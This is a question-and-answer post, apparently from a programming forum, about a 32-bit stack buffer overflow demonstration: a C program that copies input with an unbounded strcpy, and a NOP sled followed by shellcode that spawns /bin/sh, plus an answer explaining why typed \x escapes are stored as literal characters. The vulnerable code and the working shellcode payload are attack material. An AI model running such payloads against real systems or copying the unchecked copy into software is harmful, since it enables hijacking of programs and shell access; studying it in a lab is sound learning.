NOPs instruction storage in memory using \x notation - memory

Question

I am trying to add some shellcode in my input to demonstrate buffer overflow leading to control hijacking.
Here is program;
int foo(char *mainbuff)
{
char foobuff[128];
strcpy(foobuff, mainbuff);
printf("foobuff new value is %s\n", foobuff);
return 0;
}
int main()
{
char mainbuff[256];
printf("Please enter value of mainbuff\n\n");
scanf("%s", mainbuff);
foo(mainbuff);
printf("Program is exitting normally!!\n\n\n");
return 0;
}
According to my understanding when I should give \x90 this input to my c program it should take it and store it in memory as a single byte. So when I concatenate nops with shellcode and address my input seems like
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x10\xd2\xff\xff
It should store as single bytes in arrays but compiler adds another \ not to escape them and store them in stack memory as 0x3039785c which is hex form of 09x\. My file which store this string also not exactly the size of bytes I am storing. I am on 64 bit machine but my program is compiled using -m32 option in gcc.
So whats going on here?

Answer 1

I should give \x90 this input to my c program it should take it and store it in memory as a single byte. 
It seems you directly typing \x90 as input. This will cause the program (actually, the stdin) to regard it as 4 continuous characters, 0x5c, 0x78, 0x39, 0x30, which is getting endian into your mentioned 0x3039785c.
You may try echo -e "\x90\x90..." | ./a.out to pipe the shellcode into stdin by the escape.